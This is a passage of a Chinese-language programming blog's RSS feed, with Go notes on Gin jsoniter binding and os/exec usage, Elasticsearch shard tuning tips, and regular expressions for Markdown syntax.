&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }(&lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">chunkSize&lt;/span>, int(&lt;span style="color:#a6e22e">math&lt;/span>.&lt;span style="color:#a6e22e">Min&lt;/span>(float64((&lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">chunkSize&lt;/span>), float64(len(&lt;span style="color:#a6e22e">logsSlice&lt;/span>)))))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg2&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">logsSlice&lt;/span> = &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Gin 框架绑定 JSON 参数使用 jsoniter</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211122-go-gin-jsoniter/</link><pubDate>Mon, 22 Nov 2021 10:27:39 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211122-go-gin-jsoniter/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/nf9OYpN3f8HMDj_xkdCzdw" target="_blank" rel="noopener">Gin 框架绑定 JSON 参数使用 jsoniter&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="simple">simple&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>go build -tags&lt;span style="color:#f92672">=&lt;/span>jsoniter ./...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="custom">custom&lt;/h3>
&lt;h4 id="implement-bindingbody-interface">implement &lt;code>BindingBody&lt;/code> interface&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// github.com/gin-gonic/gin@v1.6.3/binding/binding.go:36&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// Binding describes the interface which needs to be implemented for binding the&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// data present in the request such as JSON request body, query parameters or&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// the form POST.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">Binding&lt;/span> &lt;span style="color:#66d9ef">interface&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">Name&lt;/span>() &lt;span style="color:#66d9ef">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">Bind&lt;/span>(&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">Request&lt;/span>, &lt;span style="color:#66d9ef">interface&lt;/span>{}) &lt;span style="color:#66d9ef">error&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// BindingBody adds BindBody method to Binding. BindBody is similar with Bind,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// but it reads the body from supplied bytes instead of req.Body.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">BindingBody&lt;/span> &lt;span style="color:#66d9ef">interface&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">Binding&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">BindBody&lt;/span>([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#66d9ef">interface&lt;/span>{}) &lt;span style="color:#66d9ef">error&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">custom&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;net/http&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">jsoniter&lt;/span> &lt;span style="color:#e6db74">&amp;#34;github.com/json-iterator/go&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;github.com/gin-gonic/gin/binding&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// BindingJSON 替换Gin默认的binding，支持更丰富JSON功能&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">BindingJSON&lt;/span> = &lt;span style="color:#a6e22e">jsonBinding&lt;/span>{}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// 可以自定义jsoniter配置或者添加插件&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">json&lt;/span> = &lt;span style="color:#a6e22e">jsoniter&lt;/span>.&lt;span style="color:#a6e22e">ConfigCompatibleWithStandardLibrary&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">jsonBinding&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span>{}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">jsonBinding&lt;/span>) &lt;span style="color:#a6e22e">Name&lt;/span>() &lt;span style="color:#66d9ef">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#e6db74">&amp;#34;json&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">jsonBinding&lt;/span>) &lt;span style="color:#a6e22e">Bind&lt;/span>(&lt;span style="color:#a6e22e">req&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">http&lt;/span>.&lt;span style="color:#a6e22e">Request&lt;/span>, &lt;span style="color:#a6e22e">obj&lt;/span> &lt;span style="color:#66d9ef">interface&lt;/span>{}) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">req&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> &lt;span style="color:#f92672">||&lt;/span> &lt;span style="color:#a6e22e">req&lt;/span>.&lt;span style="color:#a6e22e">Body&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Errorf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;invalid request&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">decodeJSON&lt;/span>(&lt;span style="color:#a6e22e">req&lt;/span>.&lt;span style="color:#a6e22e">Body&lt;/span>, &lt;span style="color:#a6e22e">obj&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">jsonBinding&lt;/span>) &lt;span style="color:#a6e22e">BindBody&lt;/span>(&lt;span style="color:#a6e22e">body&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#a6e22e">obj&lt;/span> &lt;span style="color:#66d9ef">interface&lt;/span>{}) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">decodeJSON&lt;/span>(&lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">NewReader&lt;/span>(&lt;span style="color:#a6e22e">body&lt;/span>), &lt;span style="color:#a6e22e">obj&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">decodeJSON&lt;/span>(&lt;span style="color:#a6e22e">r&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Reader&lt;/span>, &lt;span style="color:#a6e22e">obj&lt;/span> &lt;span style="color:#66d9ef">interface&lt;/span>{}) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">decoder&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">json&lt;/span>.&lt;span style="color:#a6e22e">NewDecoder&lt;/span>(&lt;span style="color:#a6e22e">r&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">binding&lt;/span>.&lt;span style="color:#a6e22e">EnableDecoderUseNumber&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">decoder&lt;/span>.&lt;span style="color:#a6e22e">UseNumber&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">binding&lt;/span>.&lt;span style="color:#a6e22e">EnableDecoderDisallowUnknownFields&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">decoder&lt;/span>.&lt;span style="color:#a6e22e">DisallowUnknownFields&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">decoder&lt;/span>.&lt;span style="color:#a6e22e">Decode&lt;/span>(&lt;span style="color:#a6e22e">obj&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">validate&lt;/span>(&lt;span style="color:#a6e22e">obj&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">validate&lt;/span>(&lt;span style="color:#a6e22e">obj&lt;/span> &lt;span style="color:#66d9ef">interface&lt;/span>{}) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">binding&lt;/span>.&lt;span style="color:#a6e22e">Validator&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">binding&lt;/span>.&lt;span style="color:#a6e22e">Validator&lt;/span>.&lt;span style="color:#a6e22e">ValidateStruct&lt;/span>(&lt;span style="color:#a6e22e">obj&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// binding.JSON 替换成自定义的&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">ctx&lt;/span>.&lt;span style="color:#a6e22e">ShouldBindWith&lt;/span>(&lt;span style="color:#a6e22e">ms&lt;/span>, &lt;span style="color:#a6e22e">binding&lt;/span>.&lt;span style="color:#a6e22e">JSON&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">ctx&lt;/span>.&lt;span style="color:#a6e22e">ShouldBindBodyWith&lt;/span>(&lt;span style="color:#a6e22e">ms&lt;/span>, &lt;span style="color:#a6e22e">binding&lt;/span>.&lt;span style="color:#a6e22e">JSON&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Golang os/exec 使用方法（筆記）</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211112-golang-ex-exec/</link><pubDate>Fri, 12 Nov 2021 11:34:30 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211112-golang-ex-exec/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://124.244.86.40/wordpress/2020/10/25/golang-ex-exec-%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95%EF%BC%88%E7%AD%86%E8%A8%98%EF%BC%89/" target="_blank" rel="noopener">Golang os/exec 使用方法（筆記）&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="加入額外的環境參數再執行指令">加入額外的環境參數再執行指令&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">cmd&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">exec&lt;/span>.&lt;span style="color:#a6e22e">Command&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;programToExecute&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">additionalEnv&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;FOO=bar&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">newEnv&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> append(&lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Environ&lt;/span>(), &lt;span style="color:#a6e22e">additionalEnv&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">cmd&lt;/span>.&lt;span style="color:#a6e22e">Env&lt;/span> = &lt;span style="color:#a6e22e">newEnv&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">out&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">cmd&lt;/span>.&lt;span style="color:#a6e22e">CombinedOutput&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;cmd.Run() failed with %s\n&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Printf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;%s&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">out&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="在-linux-下使用-osexec--pipe-或-bash-運算式">在 Linux 下使用 os/exec + Pipe 或 Bash 運算式&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">rcmd&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#e6db74">`iw dev | awk &amp;#39;$1==&amp;#34;Interface&amp;#34;{print $2}&amp;#39;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">cmd&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">exec&lt;/span>.&lt;span style="color:#a6e22e">Command&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;bash&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;-c&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">rcmd&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">out&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">cmd&lt;/span>.&lt;span style="color:#a6e22e">CombinedOutput&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>.&lt;span style="color:#a6e22e">Error&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">out&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="在-windows-下使用-osexec--batch-運算式">在 Windows 下使用 os/exec + Batch 運算式&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">cmd&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">exec&lt;/span>.&lt;span style="color:#a6e22e">Command&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;cmd&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;/c&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;ffmpeg -i myfile.mp4 myfile.mp3 &amp;amp;&amp;amp; del myfile.mp4&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">out&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">cmd&lt;/span>.&lt;span style="color:#a6e22e">CombinedOutput&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>.&lt;span style="color:#a6e22e">Error&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">out&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="解決-windows-cmd-在-osexec-時會出現本地語言的問題">解決 Windows CMD 在 os/exec 時會出現本地語言的問題&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">cmd&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">exec&lt;/span>.&lt;span style="color:#a6e22e">Command&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;cmd&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;/c&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;chcp 65001 &amp;amp;&amp;amp; netsh WLAN show drivers&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">out&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">cmd&lt;/span>.&lt;span style="color:#a6e22e">CombinedOutput&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>.&lt;span style="color:#a6e22e">Error&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Println&lt;/span>(string(&lt;span style="color:#a6e22e">out&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>使用此方法得出的 output string 請記得把回傳的首行（chcp 的回傳結果）刪除掉再進行其他處理和讀取。&lt;/p></description></item><item><title>喬叔教 Elastic - 30 - Elasticsearch 的優化技巧 (4/4) - Shard 的最佳化管理</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211110-10253348/</link><pubDate>Wed, 10 Nov 2021 13:12:35 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211110-10253348/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10253348" target="_blank" rel="noopener">喬叔教 Elastic - 30 - Elasticsearch 的優化技巧 (4/4) - Shard 的最佳化管理&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="規劃時建議要考量的項目">規劃時建議要考量的項目&lt;/h4>
&lt;h5 id="search-在執行時一個-shard-會分配一個-thread數量太多反而會拖慢速度">Search 在執行時，一個 Shard 會分配一個 Thread，數量太多反而會拖慢速度&lt;/h5>
&lt;blockquote>
&lt;p>一個 Node 依照不同的功能分類有多種 Thread pool， 其中 search (count/search/suggest) 的 size 是 &lt;code>int((# of allocated processors * 3) / 2) + 1&lt;/code> 並且 queue_size 預設是 &lt;code>1000&lt;/code> ，而 write (index/delete/update/bulk) 的 size 是 &lt;code># of allocated processors&lt;/code> ，預設的 queue_size 也是 &lt;code>1000&lt;/code>。( 官方文件 - Thread pools )&lt;/p>&lt;/blockquote>
&lt;p>大多數的 searching 在執行時，查詢的資料是會橫跨多個 shards，而每個 shard 在搜尋時會使用一個 CPU thread 在處理執行，也就是：&lt;/p></description></item><item><title>Markdown 語法的正則表達式</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211029-regex-for-md/</link><pubDate>Fri, 29 Oct 2021 10:19:41 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211029-regex-for-md/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://chubakbidpaa.com/interesting/2021/09/28/regex-for-md.html" target="_blank" rel="noopener">Markdown 語法的正則表達式&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.markdownguide.org/basic-syntax/" target="_blank" rel="noopener">基本語法&lt;/a>&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code># Headings
headerOne = `(#{1}\s)(.*)`
headeTwo = `(#{2}\s)(.*)`
headerThree = `(#{3}\s)(.*)`
headerFour = `(#{4}\s)(.*)`
headerFive = `(#{5}\s)(.*)`
headerSix = `(#{6}\s)(.*)`
# Bold and Italic Text
boldItalicText = `(\*|\_)+(\S+)(\*|\_)+`
# Links
linkText = `(\[.*\])(\((http)(?:s)?(\:\/\/).*\))`
# Images
imageFile = `(\!)(\[(?:.*)?\])(\(.*(\.(jpg|png|gif|tiff|bmp))(?:(\s\&amp;#34;|\&amp;#39;)(\w|\W|\d)+(\&amp;#34;|\&amp;#39;))?\)`
# Unordered List
listText = `(^(\W{1})(\s)(.*)(?:$)?)+`
# Numbered Text
numberedListText = `(^(\d+\.)(\s)(.*)(?:$)?)+`
# Block Quotes
blockQuote = `((^(\&amp;gt;{1})(\s)(.*)(?:$)?)+`
# Inline Code
inlineCode = &amp;#34;(\\`{1})(.*)(\\`{1})&amp;#34;
# Code Block
codeBlock = &amp;#34;(\\`{3}\\n+)(.*)(\\n+\\`{3})&amp;#34;
# Horizontal Line
horizontalLine = `(\=|\-|\*){3}`
# Email Text
emailText = `(\&amp;lt;{1})(\S+@\S+)(\&amp;gt;{1})`
# TABLES
